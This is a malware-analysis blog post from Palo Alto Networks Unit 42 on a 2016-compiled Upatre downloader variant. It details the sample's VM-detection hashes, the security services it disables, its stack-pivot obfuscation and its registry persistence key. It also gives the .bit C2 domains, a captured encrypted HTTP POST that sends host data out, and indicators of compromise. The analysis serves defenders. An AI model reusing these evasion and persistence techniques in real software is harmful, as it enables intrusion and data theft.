[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware") [Malware](https://unit42.paloaltonetworks.com/category/malware/) # Upatre Continued to Evolve with new Anti-Analysis Techniques ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 9 min read Related Products [![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/product-category/cortex-xdr/ "Cortex XDR") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Mike Harbison](https://unit42.paloaltonetworks.com/author/mike-harbison/) * [Brittany Barbehenn](https://unit42.paloaltonetworks.com/author/brittany-barbehenn/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:July 13, 2018 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/) * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Dot-bit](https://unit42.paloaltonetworks.com/tag/dot-bit/) * [Downloader](https://unit42.paloaltonetworks.com/tag/downloader/) * [Namecoin](https://unit42.paloaltonetworks.com/tag/namecoin/) * [Upatre](https://unit42.paloaltonetworks.com/tag/upatre/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/unit42-upatre-continues-evolve-new-anti-analysis-techniques/?pdf=download&lg=en&_wpnonce=7052973960 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/unit42-upatre-continues-evolve-new-anti-analysis-techniques/?pdf=print&lg=en&_wpnonce=7052973960 "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Upatre%20Continued%20to%20Evolve%20with%20new%20Anti-Analysis%20Techniques&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-upatre-continues-evolve-new-anti-analysis-techniques%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-upatre-continues-evolve-new-anti-analysis-techniques%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-upatre-continues-evolve-new-anti-analysis-techniques%2F&title=Upatre%20Continued%20to%20Evolve%20with%20new%20Anti-Analysis%20Techniques "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-upatre-continues-evolve-new-anti-analysis-techniques%2F&text=Upatre%20Continued%20to%20Evolve%20with%20new%20Anti-Analysis%20Techniques "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-upatre-continues-evolve-new-anti-analysis-techniques%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Upatre%20Continued%20to%20Evolve%20with%20new%20Anti-Analysis%20Techniques%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-upatre-continues-evolve-new-anti-analysis-techniques%2F "Share in Mastodon") First discovered in 2013, Upatre is primarily a downloader tool responsible for delivering additional trojans onto the victim host. It is most well-known for being tied with the Dyre banking trojan, with a peak of over 250,000 Upatre infections per month delivering Dyre back in July 2015. In November 2015 however, an organization thought to be associated with the Dyre operation was raided, and subsequently the usage of Upatre delivering Dyre dropped dramatically, to less than 600 per month by January 2016. Today, the Upatre downloader tool is effectively no longer in use by criminal organizations. However, one of the many interesting aspects of the Upatre tool had always been its constant adaptive nature where the developers continuously added features and capabilities to the tool to increase its efficacy. In March 2018, Unit 42 researchers collected a sample of Upatre which was compiled in December 2016 but at the time was largely undetectable by most automated detection systems . Because of this, we analyzed the sample to afford awareness to those interested in this malware and its evolution. This previously undocumented variant features significant code flow obscuration, a pro re nata means of decryption for network communications, and of particular interest, the method in which this variant evades virtual machine detection. In this post we highlight these techniques identified during our analysis. Malware Overview Upatre is a stage-0 malware, which basically means it's a downloader. The malware is used to download and install a payload onto the affected system. The payload is retrieved from hardcoded domain(s) and is typically another piece of malware. Historically, Upatre has acted as a downloader for malware families such as [Dyre](https://www.symantec.com/security-center/writeup/2014-061713-0826-99), [GameOver Zeus](https://www.us-cert.gov/ncas/alerts/TA16-091A), [Kegotip, Locky, and Dridex](https://securityintelligence.com/the-necurs-botnet-a-pandoras-box-of-malicious-spam/) to name a few. However, in this case no payload was delivered. Additionally, variants such as this one collect information from the target and transmit the data via an HTTP POST request. This newly observed variant comes packed with several characteristics and capabilities that stood out to us during analysis. Attributes in the PE header suggest that the malware is written in Visual C++ and several of the PE sections have high entropy classification, which indicates that the binary is packed. The PE resource section also contains images of Google Chrome, so when the binary is placed on the target machine, it appears to be that of the Google Chrome web browser. One of the key features about this variant that stood out during our analysis is how it detects whether or not it is running within a virtual machine. Although virtual machine detection is anything but new, in this variant, it is handled a bit differently than [other samples](https://blog.paloaltonetworks.com/2015/10/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/) previously analyzed by Unit 42. To, evade detection, the newly observed variant enumerates the running processes on the host, generates a CRC32 hash of the process name, performs an XOR with a hard-coded key of 0x0F27DC411, and finally compares the newly computed value against a list of values stored in an array within the code. We observed the following values: |------------|------------|------------|------------|------------| | 0x6BA08023 | 0xDFF859A5 | 0x9649C9DF | 0x91B88065 | 0xF663B61C | | 0xC6E1589A | 0xC63B2FDF | 0xA9D475EF | 0xCE9F7AE2 | 0xCF3B343A | | 0x85D3D4E6 | 0x1392D4C | 0xDFC3A97E | 0x51ACC655 | 0xEF0F2980 | | 0x64EEAFAF | 0xD5F11B49 | 0xC9823C94 | 0x9F4EE7C8 | 0x403C2A93 | | 0x6A50A975 | 0xECCCD158 | 0xED3CF80E | 0x209202D5 | 0x2C6668C3 | This version of Upatre will **++not++** transmit any data via HTTP POST to any of the target domains if one of these values is found. In the event one of the values are found, the malware will sleep for six seconds and then will restart the entire check again. We were unable to determine every corresponding process name from the CRC32 list above, however, we were able to decipher the following process names: |--------------|------------| | Process Name | CRC32 | | vmtoolsd.exe | 0xD5F11B49 | | vmacthlp.exe | 0x403C2A93 | | Python.exe | 0x209202D5 | Other notable functionality of this new version of the Upatre malware includes: * In-memory loading of code * Disables the following Windows services: * Windows Security Center * Internet Connection Sharing * Windows Firewall * Windows Defender * Windows Update * Windows Defender Network Inspection Service * Disables Windows security notification balloons on Windows 7 and up * Disables Internet Explorer Phishing Filter * Disables Windows User Access Control Notifications * Launches a trusted Windows application msiexec.exe and injects code into its memory space using an undocumented technique * Heavy use of obfuscated and optimized code to thwart code analysis * Use of non-essential Windows API's for stack pivoting to mask intended API * Multiple layers of custom encoding used for individual strings decoding. Does not share encoding routine with other encoded values Network Communication Another feature of this sample is the use of top level domains (TLD) of. bit. The intended domains are encrypted and only decrypted when the malware is ready to use them. This new sample attempts to resolve two domains, bookreader\[.\]bit and doghunter\[.\]bit via the following hardcoded DNS Servers: * 31\.3.135\[.\]232 * 193\.183.98\[.\]154 * 5\.135.183\[.\]146 * 84\.201.32\[.\]108 * 185\.133.72\[.\]100 * 96\.90.175\[.\]167 * 104\.238.186\[.\]189 DNS resolution for .bit domains use hardcoded DNS servers and is handled via TCP versus traditional UDP. This is because .bit domains are based on Namecoin and aren't regulated by ICANN. Additionally, the hardcoded DNS server IPs we identified in this sample are all associated with OpenNIC Public DNS servers. According to [OpenNIC](https://wiki.opennic.org/opennic/dot/bit), when using OpenNIC DNS servers .bit domains are resolved through centralized servers that generate a DNS zone from the Namecoin blockchain; therefore, the secure nature of using Namecoin as a decentralized means of DNS is not actually being utilized here. If domain resolution is successful, the malware will then perform an HTTP POST request similar to the following: POST / HTTP/1.0 Host: bookreader\[.\]bit Content-Length: 1024 Þm á9,9r.@¿æ\[." Š?.àì..Cl„8f·Ö'LsÃøPi;±›hÏÀ¨\*-2IóÙ4²R--k"à{..rè!..~5¹qr^.¡h•âÔ?ý.ˆ¬--À$.Ÿ?óa..r(ì ÑÖ¹Û.Î.·‹ÅE.ûÉn¯\&{qûÿ´©Ø.öî",.YÒ!p†³3jÓ\_sÐ.Páu\>\>..KŠ†ÐïwÂ:š.¦Ú÷€âC naH¾Û.½†¸q.TJ7.¾šB' ?.®îîGHxãGd\\¦jæµ.jGæûsðá\].8®.Ï.X#8ç.Ô\<¹6ߎÄ..ù..€¬\<\<ˆ@æ\_t.,á.‡q.Ô¤.'³åÿW·äZ.ìa:©"ïIãÌ.¤ô~œ ïÒ§vBå|Ù\<\<Ìfa.„{7Œìt.˜l\_.ŒKNEÏg'¸O‹¯IWy.²\<\<• Ú...•j'Û'Š.b.t‡|Å..Œn†´ÕK¨‰\>\>%ðfh Eºw\*¤šf‰Ò2š'¥V..qZÖ(\<\<86ç ˜W©g†ÕËÖ™."Í.Õüþs8Ts½.=Ö\\ókÌäE¨Ë†\>¡¾ü\\±ˆbÂï\>;9.Ã'ØœZuá©:=ÇTx˜ufýÉg.÷.Šâ\>.Èq.Ó9wnÖ.Ö\[aöÝÇé1.Ÿ†HÁè--¡\>EhÂÙ.9©!©t ."\`éh.™^).ž½C.,º3õnØÑÙéîN0\`-°\[1×ß(J.ÃwXô\`¥Ø÷²';B1/¤¤+wTg›¾Qf-ß.ÿ"|fßX.,ãAÝêâºøbËe¾8X.0‡h...i9ÊŸF÷~GÞ=..Œþj'\>Ž.°øô."U„ ÖóÙæ¯'s.O/oŒØã‰sœàá‡.Ø2ú{Œ\>\>êt\>\>§hé±.Z#r.é.\<ýj®½Ü¡\\(.....%ñŽËj..œ.¶Dì"®Ñ2xf4+ÀŒÖföUv•ê\\.äÓó¢Íéô¥. „¦©V...--3×.Y.ŒÔm8ò@†.~b\<\<Ñ---..JW/éé.eE.Ó.¬† 89.E(=áø"¿.\>ø\>\>¾åêŠ.¬2©Áä¬xýËù\<š.Ð.;éàE‰+\&xAEç\>"@LpßÇ¢7ãÔÞ@~Âfß+Z±\*òF=aWÂÖµÐe\_ëƧë\&\`|.\>VøÂá.C7ñ‚¯iÚ.µ.´)!Ϫ.ÇyO\[‹¾?Js¨e jKß±¯Z\].613ŒÐ.|XÝõÿÊý;nU0Mw‚M\>\>\<\<½:Û?/æ.$)¶ì\_X.p.q.8.Ÿj€¬.œàï..B·âoŽM.êÅb¥8aÕù©s$ÏmhT£\>\>¤/wwÆ6 y=€ƒÖG™Úu yÍƲ".® !BùìâÃ.=¦6\<)º 5M´yótI\\ |-------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | POST / HTTP/1.0 Host: bookreader\[.\]bit Content-Length: 1024 Þm á9,9r.@¿æ\[." Š?.àì..Cl„8f·Ö'LsÃøPi;±›hÏÀ¨\*-2IóÙ4²R--k"à{..rè!..~5¹qr^.¡h•âÔ?ý.ˆ¬--À$.Ÿ?óa..r(ì ÑÖ¹Û.Î.·‹ÅE.ûÉn¯\&{qûÿ´©Ø.öî",.YÒ!p†³3jÓ\_sÐ.Páu\>\>..KŠ†ÐïwÂ:š.¦Ú÷€âC naH¾Û.½†¸q.TJ7.¾šB' ?.®îîGHxãGd\\¦jæµ.jGæûsðá\].8®.Ï.X#8ç.Ô\<¹6ߎÄ..ù..€¬\<\<ˆ@æ\_t.,á.‡q.Ô¤.'³åÿW·äZ.ìa:©"ïIãÌ.¤ô~œ ïÒ§vBå|Ù\<\<Ìfa.„{7Œìt.˜l\_.ŒKNEÏg'¸O‹¯IWy.²\<\<• Ú...•j'Û'Š.b.t‡|Å..Œn†´ÕK¨‰\>\>%ðfh Eºw\*¤šf‰Ò2š'¥V..qZÖ(\<\<86ç ˜W©g†ÕËÖ™."Í.Õüþs8Ts½.=Ö\\ókÌäE¨Ë†\>¡¾ü\\±ˆbÂï\>;9.Ã'ØœZuá©:=ÇTx˜ufýÉg.÷.Šâ\>.Èq.Ó9wnÖ.Ö\[aöÝÇé1.Ÿ†HÁè--¡\>EhÂÙ.9©!©t ."\`éh.™^).ž½C.,º3õnØÑÙéîN0\`-°\[1×ß(J.ÃwXô\`¥Ø÷²';B1/¤¤+wTg›¾Qf-ß.ÿ"|fßX.,ãAÝêâºøbËe¾8X.0‡h...i9ÊŸF÷~GÞ=..Œþj'\>Ž.°øô."U„ ÖóÙæ¯'s.O/oŒØã‰sœàá‡.Ø2ú{Œ\>\>êt\>\>§hé±.Z#r.é.\<ýj®½Ü¡\\(.....%ñŽËj..œ.¶Dì"®Ñ2xf4+ÀŒÖföUv•ê\\.äÓó¢Íéô¥. „¦©V...--3×.Y.ŒÔm8ò@†.~b\<\<Ñ---..JW/éé.eE.Ó.¬† 89.E(=áø"¿.\>ø\>\>¾åêŠ.¬2©Áä¬xýËù\<š.Ð.;éàE‰+\&xAEç\>"@LpßÇ¢7ãÔÞ@~Âfß+Z±\*òF=aWÂÖµÐe\_ëƧë\&\`|.\>VøÂá.C7ñ‚¯iÚ.µ.´)!Ϫ.ÇyO\[‹¾?Js¨e jKß±¯Z\].613ŒÐ.|XÝõÿÊý;nU0Mw‚M\>\>\<\<½:Û?/æ.$)¶ì\_X.p.q.8.Ÿj€¬.œàï..B·âoŽM.êÅb¥8aÕù©s$ÏmhT£\>\>¤/wwÆ6 y=€ƒÖG™Úu yÍƲ".® !BùìâÃ.=¦6\<)º 5M´yótI\\ | Note, the HTTP POST does not contain any User-Agent strings. At this time, we don't fully understand the encryption method; however, we know that the data sent in the POST request is encrypted using a custom encryption algorithm. Below is an example of data captured prior to encryption: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010 00 00 00 00 60 00 00 00 00 00 00 00 01 00 00 00 ....\`........... 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030 11 27 00 00 00 00 00 00 20 00 00 00 20 00 00 00 .'...... ... ... 00000040 57 49 4E 2D 52 49 38 38 4C 38 56 4D 45 38 4D 5F WIN-RI88L8VME8M\_ 00000050 45 35 33 32 36 34 38 41 37 36 31 46 34 43 35 41 E532648A761F4C5A 00000060 AB AB AB AB AB AB AB AB 00 00 00 00 00 00 00 00 \<\<\<\<\<\<\<\<\<\<\<\<\<\<\<\<........ 00000070 8B BB 9F 39 09 63 00 00 30 28 31 00 08 21 31 00 ‹\>\>Ÿ9.c..0(1..!1. 00000080 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE îþîþîþîþîþîþîþîþ 00000090 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE îþîþîþîþîþîþîþîþ 000000A0 9F BB 9C 2E 00 63 00 18 70 1B 31 00 60 21 31 00 Ÿ\>\>œ..c..p.1.\`!1. 000000B0 78 1B 31 00 68 21 31 00 70 21 31 00 80 CF 2B 00 x.1.h!1.p!1.€Ï+. 000000C0 00 00 1D 74 8D 12 1D 74 00 70 00 00 3C 00 3E 00 ...t...t.p..\<.\>. 000000D0 38 20 31 00 14 00 16 00 60 20 31 00 04 40 0C 00 8 1.....\` 1..@.. 000000E0 01 00 00 00 B0 A6 BA 77 BC 38 28 00 43 DB 5B 4A ....°¦ºw¼8(.CÛ\[J 000000F0 00 00 00 00 00 00 00 00 F8 1F 31 00 F8 1F 31 00 ........ø.1.ø.1. 00000100 00 20 31 00 00 20 31 00 38 23 31 00 90 20 31 00 . 1.. 1.8#1.. 1. 00000110 54 05 B4 77 00 00 D9 3F D5 8A 48 B8 82 D1 D3 01 T.´w..Ù?ÕŠH¸‚ÑÓ. 00000120 AB AB AB AB AB AB AB AB 00 00 00 00 00 00 00 00 \<\<\<\<\<\<\<\<\<\<\<\<\<\<\<\<........ 00000130 86 BB 9C 37 14 63 00 1A 43 00 3A 00 5C 00 57 00 †\>\>œ7.c..C.:.\\.W. 00000140 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 73 00 i.n.d.o.w.s.\\.s. 00000150 79 00 73 00 74 00 65 00 6D 00 33 00 32 00 5C 00 y.s.t.e.m.3.2.\\. 00000160 57 00 49 00 4E 00 4E 00 53 00 49 00 2E 00 44 00 W.I.N.N.S.I...D. |-------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010 00 00 00 00 60 00 00 00 00 00 00 00 01 00 00 00 ....\`........... 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030 11 27 00 00 00 00 00 00 20 00 00 00 20 00 00 00 .'...... ... ... 00000040 57 49 4E 2D 52 49 38 38 4C 38 56 4D 45 38 4D 5F WIN-RI88L8VME8M\_ 00000050 45 35 33 32 36 34 38 41 37 36 31 46 34 43 35 41 E532648A761F4C5A 00000060 AB AB AB AB AB AB AB AB 00 00 00 00 00 00 00 00 \<\<\<\<\<\<\<\<\<\<\<\<\<\<\<\<........ 00000070 8B BB 9F 39 09 63 00 00 30 28 31 00 08 21 31 00 ‹\>\>Ÿ9.c..0(1..!1. 00000080 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE îþîþîþîþîþîþîþîþ 00000090 EE FE EE FE EE FE EE FE EE FE EE FE EE FE EE FE îþîþîþîþîþîþîþîþ 000000A0 9F BB 9C 2E 00 63 00 18 70 1B 31 00 60 21 31 00 Ÿ\>\>œ..c..p.1.\`!1. 000000B0 78 1B 31 00 68 21 31 00 70 21 31 00 80 CF 2B 00 x.1.h!1.p!1.€Ï+. 000000C0 00 00 1D 74 8D 12 1D 74 00 70 00 00 3C 00 3E 00 ...t...t.p..\<.\>. 000000D0 38 20 31 00 14 00 16 00 60 20 31 00 04 40 0C 00 8 1.....\` 1..@.. 000000E0 01 00 00 00 B0 A6 BA 77 BC 38 28 00 43 DB 5B 4A ....°¦ºw¼8(.CÛ\[J 000000F0 00 00 00 00 00 00 00 00 F8 1F 31 00 F8 1F 31 00 ........ø.1.ø.1. 00000100 00 20 31 00 00 20 31 00 38 23 31 00 90 20 31 00 . 1.. 1.8#1.. 1. 00000110 54 05 B4 77 00 00 D9 3F D5 8A 48 B8 82 D1 D3 01 T.´w..Ù?ÕŠH¸‚ÑÓ. 00000120 AB AB AB AB AB AB AB AB 00 00 00 00 00 00 00 00 \<\<\<\<\<\<\<\<\<\<\<\<\<\<\<\<........ 00000130 86 BB 9C 37 14 63 00 1A 43 00 3A 00 5C 00 57 00 †\>\>œ7.c..C.:.\\.W. 00000140 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 73 00 i.n.d.o.w.s.\\.s. 00000150 79 00 73 00 74 00 65 00 6D 00 33 00 32 00 5C 00 y.s.t.e.m.3.2.\\. 00000160 57 00 49 00 4E 00 4E 00 53 00 49 00 2E 00 44 00 W.I.N.N.S.I...D. | Obscuring Code Flow This version of Upatre contains significantly obfuscated code to increase the difficulty of analysis. Figure 1 below shows an example API call disassembled in IDA Pro. ![Upatre\_1](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Upatre_1-1.png) *Figure 1-IDA Disassembly of API call* For conventional naming, the function at address 0x00137ED6 has been renamed to the Windows API [RegQueryValueEx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms724911%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396)\_0. According to MSDN this function takes six parameters, the frame pointer is ESP based and the stack frame would resemble the following: ![Upatre\_2](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Upatre_2-1.png) *Figure 2-Inside Func\_RegQueryvalueEx\_0* In the above figure, Func\_RegQueryValueEx\_0 is EBP based and performs the following: * Saves the current stack pointer in EBP * The stack pointer is adjusted 268 bytes (thwarting stack frame analysis) * Pushes a pointer, which points to the REGKEY string After the call into sub\_140CBE the stack would resemble the following: ![Upatre\_3](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Upatre_3-1.png) *Figure 3--Inside Sub\_140CBE* Function Sub\_140CBE does the following: * Pushes 0x13 on the stack * Calls another function, which ends up jumping into the Windows API GetSystemMetrics 0x13 is the SM\_CSURSOR index used by GetSystemMetrics, which returns the width of a cursor in pixels. Retrieving this value has **no** bearing on the program as the return value is not used. How the stack looks after the call to func\_GetSytemMetrics ![Upatre\_4](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Upatre_4-1.png) *Figure 4--Inside Func\_GetSystemMetrics* Some interesting observations about this function: * The JMP instruction is used versus the CALL instruction as JMP doesn't affect the stack. * The two PUSH instructions are junk values and only used to pivot the stack, so the correct return address is on the stack during the return. Here is how the stack looks prior to the jump: ![Upatre\_5](https://unit42.paloaltonetworks.com/wp-content/uploads/2018/07/Upatre_5-1.png) Return address **0x001414FD** is the address that is used to open and query the hosts registry, and this is the target address after executing the above instructions. The return code flow is as follows: 1. The two junk data values pushed on the stack are cleared during the executing of the GetSystemMetrics API. 2. The stack pointer is incremented past 0x13 3. Address 0x00140CC5 has a retn instruction 4. Address 0x001414FD is now on the top of the stack and the section within the malware that handles Windows registry enumeration is called (RegQueryValueEx). This stack pivot is performed entirely to make static analysis of the file more difficult, but the end result is still that the API function executes, and the malware accomplishes its task. Persistence Technique To establish persistence, this new version of Upatre creates the following registry key: HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\ * String value--\>x$msbuild where x$ is a random alpha character. *Note: the name of the binary depends on the executable that is running. The stub program grabs the Windows name of the EXE and prepends it with a random value.* * Data --\>C:\\ProgramData\\MSBuild\\x$exe File x$MSBuild.exe is then copied to the host's C:\\ProgramData\\MSBuild folder. Conclusion In our data, we have observed over 119,000 unique malware samples that use dot-bit (.bit) domains for C2 infrastructure as early as 2014. Malware families observed include Necurs, GandCrab, Vobfus, Tofsee, Floxif, Ramnit, and several others. Due to the C2 domains being down at the time of our analysis, which was unsurprising given the potential age of the sample, we were never able to capture the ultimate payload for this new Upatre variant. However, open source analysis on this variant identified another sample configured with the same dot-bit domains. The sample, 94a8b4b22dab4171edde5b1bafbf2f17dbe3c3c4c01335c36ba3b6e5d3635b83, was compiled six days after our Upatre sample and delivered the Chthonic banking trojan via RIG exploit kit. Although the delivery mechanism was not observed during our analysis, Upatre typically arrives via an email link/attachment or through a compromised website. **Defending Against this Threat** The Upatre malware is constantly changing and is capable of downloading many different malware families, some, destructive. Using threat detection and prevention solutions such as the Palo Alto Networks next-generation security platform are highly recommended as part of a proactive cyber security strategy. WildFire and Traps both detect the samples described in this report as malicious. Not all dot-bit domains are malicious, but organizations should take steps to ensure they can control access to all potentially malicious domains. Blocking outbound access to DNS servers and re-routing DNS requests to internally controlled DNS servers can help protect a network from malware using dot-bit domains provided by the Namecoin network. Palo Alto Networks customers remain protected from Upatre and can identify this threat using the [Upatre](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Upatre) tag in AutoFocus. **Indicators of compromise associated with this analysis include:** **Upatre** SHA256: 8ac7909730269d62efaf898d1a5e87251aadccf4349cd95564ad6a3634ba4ef4 **Cthonic** SHA256: 94a8b4b22dab4171edde5b1bafbf2f17dbe3c3c4c01335c36ba3b6e5d3635b83 **C2s** Domain: doghunter\[.\]bit Domain: bookreader\[.\]bit IP Address: 31.3.135\[.\]232 IP Address: 193.183.98\[.\]154 IP Address: 5.135.183\[.\]146 IP Address: 84.201.32\[.\]108 IP Address: 185.133.72\[.\]100 IP Address: 96.90.175\[.\]167 IP Address: 104.238.186\[.\]189 Updated on 7/13/2018 to clarify that the Upatre sample discussed was compiled in 2016 but is newly discovered in 2018 and to more clearly identify samples with their hashes. Back to top ### Tags * [Dot-bit](https://unit42.paloaltonetworks.com/tag/dot-bit/ "dot-bit") * [Downloader](https://unit42.paloaltonetworks.com/tag/downloader/ "Downloader") * [Namecoin](https://unit42.paloaltonetworks.com/tag/namecoin/ "Namecoin") * [Upatre](https://unit42.paloaltonetworks.com/tag/upatre/ "Upatre") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Threat Brief: Why You Need to Be Careful of Links in Email](https://unit42.paloaltonetworks.com/unit42-threat-brief-need-careful-links-email/ "Threat Brief: Why You Need to Be Careful of Links in Email") ### Related Articles * [Script-Based Malware: A New Attacker Trend on Internet Explorer](https://unit42.paloaltonetworks.com/script-based-malware/ "article - table of contents") * [Tracking Subaat: Targeted Phishing Attack Leads to Threat Actor's Repository](https://unit42.paloaltonetworks.com/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/ "article - table of contents") * [Upatre: Old Dog, New \[Anti-Analysis\] Tricks](https://unit42.paloaltonetworks.com/upatre-old-dog-new-anti-analysis-tricks/ "article - table of contents") ## Related Resources ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/) * [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI") * [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT") * [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America") ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked 